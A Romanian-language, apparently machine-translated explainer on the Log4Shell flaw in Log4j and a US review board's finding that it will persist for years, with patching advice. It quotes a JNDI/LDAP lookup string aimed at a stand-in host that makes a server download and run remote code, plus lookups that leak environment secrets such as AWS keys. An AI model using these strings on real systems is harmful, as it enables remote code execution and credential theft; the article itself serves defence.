După 8 luni, SUA spun că Log4Shell va exista pentru „un deceniu sau mai mult”

Amintiți-vă Log4shell.?

A fost o eroare periculoasă într-un set de instrumente de programare Java popular, cu sursă deschisă, numit log4j, prescurtare pentru „Logging for Java”, publicată de Apache Software Foundation sub o licență liberală, gratuită pentru codul sursă.

Dacă ați scris vreodată software de orice fel, de la cel mai simplu fișier BAT de pe un laptop Windows până la cea mai grozavă mega-aplicație care rulează pe un întreg rack de servere, veți fi folosit comenzi de înregistrare.

De la ieșire de bază, cum ar fi echo "Starting calculations (this may take a while)" tipărite pe ecran, până la mesajele formale salvate într-o bază de date scrisă o singură dată din motive de audit sau de conformitate, înregistrarea în jurnal este o parte vitală a majorității programelor, mai ales atunci când ceva se întrerupe și aveți nevoie de o înregistrare clară a exact cât de departe ați ajuns înainte. problema a lovit.

Log4Shell vulnerabilitate (de fapt, s-a dovedit că au existat mai multe probleme legate, dar le vom trata pe toate ca și cum ar fi o problemă mare aici, pentru simplitate) s-a dovedit a fi jumătate de bug, jumătate de caracteristică.

Cu alte cuvinte, Log4j a făcut ceea ce a spus în manual, spre deosebire de o eroare, cum ar fi o depășire a tamponului, în care programul ofensator încearcă incorect să încurce cu datele pe care le-a promis că le va lăsa în pace...

… dar dacă nu ați citit manualul cu adevărat cu atenție și ați luat singur măsuri de precauție suplimentare adăugând un strat de verificare atentă a intrărilor peste Log4j, software-ul dvs. s-ar putea debloca.

Într-adevăr, rău, total dezlipit.

Interpolarea considerată dăunătoare

Mai simplu spus, Log4j nu a înregistrat întotdeauna mesajele de jurnal exact așa cum le-ați furnizat.

În schimb, avea o „trăsătură” cunoscută în mod diferit și confuz în jargon ca interpolare, înlocuirea comenzii or auto-rescriere, astfel încât să puteți declanșa funcții de manipulare a textului în interiorul utilitarului de înregistrare în sine, fără a fi nevoie să scrieți un cod special pentru a face acest lucru.

De exemplu, textul din coloana INPUT de mai jos va fi înregistrat literalmente, exact așa cum îl vedeți, ceea ce este probabil ceea ce vă așteptați de la un set de instrumente de înregistrare, mai ales dacă doriți să păstrați o evidență precisă a datelor de intrare prezentate de utilizatori. din motive de reglementare:

REZULTAT INTRARE ----------------------- ------------------------ NUME DE UTILIZATOR =duck -> USERNAME=duck ID apelant:555-555-5555 -> ID apelant:555-555-5555 Versiunea curentă = 17.0.1 -> Versiunea curentă = 17.0.1

Dar dacă ați trimis text învelit în secvența de caractere magice ${...}, loggerul ar face uneori lucruri inteligente cu el, după ce a primit textul, dar înainte de a scrie efectiv în fișierul jurnal, astfel:

REZULTAT INTRARE --------------------------------- --------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Versiunea Java Contul de server 17.0.1/Windows 10 10.0 este: ${env:USER} -> Contul de server este: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

În mod clar, dacă acceptați înregistrarea textului dintr-o sursă de încredere, unde este rezonabil să îi permiteți utilizatorului să controleze loggerul spunându-i să înlocuiască textul simplu cu date interne, acest tip de rescriere a textului este util.

Dar dacă scopul tău este să ții evidența datelor trimise de un utilizator la distanță, poate în scopuri de păstrare a evidențelor de reglementare, acest tip de auto-rescriere este de două ori periculos:

• În cazul unei dispute, nu aveți o înregistrare de încredere a ceea ce utilizatorul a trimis de fapt, având în vedere că ar fi putut fi modificat între intrare și ieșire.
• Un utilizator rău intenționat ar putea trimite intrări construite pe furiș pentru a provoca serverul tău să facă ceva ce nu trebuia să facă.

Dacă înregistrați intrările utilizatorilor, cum ar fi șirul de identificare al browserului, să spunem (cunoscut în jargon ca User-Agent), sau numele de utilizator sau numărul lor de telefon, nu doriți să oferiți utilizatorului șansa de a vă păcăli să scrieți date private (cum ar fi un șir de parolă numai pentru memorie, cum ar fi AWS_ACCESS_KEY_ID în exemplul de mai sus) într-un fișier jurnal permanent.

Mai ales dacă le-ați spus cu încredere auditorilor sau autorităților de reglementare că nu scrieți niciodată parole cu text simplu în stocarea permanentă. (Tu nu ar trebui să facă asta, chiar dacă nu ați spus oficial autorității de reglementare că nu o faceți!)

Mai rău urmează să vină

În cazul Log4Shell is-it-a-bug-or-is-it-a-feature, totuși, lucrurile au fost mult mai rele decât exemplele deja riscante pe care le-am arătat mai sus.

De exemplu, un utilizator care a trimis în mod deliberat date, cum ar fi intrarea prezentată mai jos, ar putea declanșa o secvență cu adevărat periculoasă de evenimente:

REZULTAT INTRARE ------------------------------------------------ --------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Descărcați și rulați un program Java la distanță!?

În șirul „interpolare” de mai sus, ${...} secvență de caractere care include abrevierile jndi și ldap i-a spus lui Log4j să facă asta:

• Utilizați interfața Java de denumire și director (JNDI) a localiza dodgy.server.example on-line.
• Conectați-vă la acel server prin LDAP, folosind portul TCP 8888.
• Solicitați datele stocate în obiectul LDAP BadThing.

Cu alte cuvinte, atacatorii ar putea trimite o intrare special concepută care să-ți instruiască serverul să „apeleze acasă” către un server aflat sub controlul lor, fără nici măcar un concediu.

Cum ar putea fi aceasta o „funcție”?

S-ar putea să vă întrebați cum o „funcție” ca aceasta a ajuns vreodată în codul Log4j.

Dar acest tip de rescriere a textului poate fi util, atâta timp cât înregistrați date dintr-o sursă de încredere.

De exemplu, puteți înregistra un ID de utilizator numeric, dar puteți, de asemenea, să cereți loggerului să folosească LDAP ( Protocol schematic de acces la registru, utilizat pe scară largă în industrie, inclusiv de sistemul Microsoft Active Directory) pentru a prelua și salva numele de utilizator asociat cu acel număr de cont în acel moment.

Acest lucru ar îmbunătăți atât lizibilitatea, cât și valoarea istorică a intrării din fișierul jurnal.

Dar serverul LDAP pe care Log4j l-a apelat în exemplul de mai sus (care a fost ales de utilizatorul de la distanță, nu uitați) este puțin probabil să cunoască adevărul, darămite să-l spună și, prin urmare, un utilizator rău intenționat ar putea folosi acest truc. jurnalele dvs. cu date false și chiar dubioase din punct de vedere legal.

Și mai rău, serverul LDAP ar putea returna codul Java precompilat pentru generarea datelor care urmează să fie înregistrate, iar serverul dvs. ar rula programul respectiv -- un program necunoscut, furnizat de un server care nu are încredere, ales de un utilizator care nu are încredere.

Vorbind, dacă vreun server, oriunde în rețeaua dvs., a înregistrat o intrare neîncrezătoare care a venit din exterior și a folosit Log4j pentru a face acest lucru...

… atunci acea intrare ar putea fi folosită ca o modalitate directă și imediată de a păcăli serverul să ruleze codul altcuiva, exact așa.

Asta se numește BRM în jargon, prescurtare pentru executarea codului de la distanță, iar erorile RCE sunt, în general, cele mai căutate de infractorii cibernetici, deoarece pot fi de obicei exploatate pentru a implanta automat malware.

Din păcate, natura acestei erori a însemnat că pericolul nu se limita la serverele care se confruntă cu internet, deci folosind servere web scrise în C, nu Java (de exemplu, IIS, Apache https, nginx) și, prin urmare, nu au folosit ei înșiși bug-ul Codul Log4j, nu te-a eliberat de riscuri.

În teorie, orice aplicație Java de back-end care a primit și a înregistrat date din altă parte a rețelei dvs. și care a folosit biblioteca Log4j...

… ar putea fi atins și exploatat de către atacatori externi.

Remedierea a fost destul de simplă:

• Găsiți versiuni vechi ale Log4j oriunde și oriunde în rețeaua dvs. Modulele Java au de obicei nume precum log4j-api-2.14.0.jar și log4j-core-2.14.0.jar, În cazul în care jar este prescurtarea de la Arhiva Java, un tip de fișier ZIP special structurat. Cu un prefix care poate fi căutat, o extensie definitivă și numărul de versiune încorporat în numele fișierului, găsirea rapidă a fișierelor ofensatoare cu versiuni „greșite” de cod de bibliotecă Java este de fapt destul de ușoară.
• Înlocuiți versiunile buggy cu altele mai noi, petice.
• Dacă nu ați fost în măsură să schimbați versiunea Log4J, ați putea reduce sau elimina riscul prin eliminarea unui singur modul de cod din pachetul cu erori Log4j (codul Java care a gestionat căutările JNDI, așa cum este descris mai sus) și reambalând propriul fișier JAR redus cu eroarea suprimată.

Saga continuă

Din păcate, un recent, raport detaliat despre saga Log4Shell, publicată săptămâna trecută de SUA Consiliul de evaluare a securității cibernetice (CSRB), parte a Departamentului pentru Securitate Internă, conține sugestia îngrijorătoare (sublinierea noastră de mai jos) că:

[E]venimentul Log4j nu sa încheiat. [CSRB] evaluează că Log4j este o „vulnerabilitate endemică” și că instanțe vulnerabile ale Log4j vor rămâne în sisteme pentru mulți ani de acum înainte, poate un deceniu sau mai mult. Rămâne un risc semnificativ.

Ce să fac?

La 42 de pagini (numai rezumatul executiv are aproape trei pagini), Raportul consiliului este un document lung, iar părți din el sunt grele.

Dar vă recomandăm să o citiți, deoarece este o poveste fascinantă despre cum chiar și problemele de securitate cibernetică, care ar trebui să fie rapid și ușor de rezolvat, pot fi ignorate, sau amânate pentru mai târziu, sau la fel de bune pe cât de negate ca „altul. problemă” pentru a remedia.

Sugestiile notabile din partea serviciului public din SUA, pe care le susținem din toată inima, includ:

• Dezvoltați capacitatea de a menține un inventar precis al activelor și al aplicațiilor din tehnologia informației (IT).
• [Configurați un] documentat program de răspuns la vulnerabilități.
• [Configurați un] proces documentat de dezvăluire și gestionare a vulnerabilităților.

Când vine vorba de securitate cibernetică, nu întreba ce pot face toți ceilalți pentru tine...

…dar gândește-te la ce poți face pentru tine, pentru că orice îmbunătățiri pe care le faci o vor face aproape sigur avantajează pe toți ceilalți de asemenea.

---

[Conținutul încorporat]

---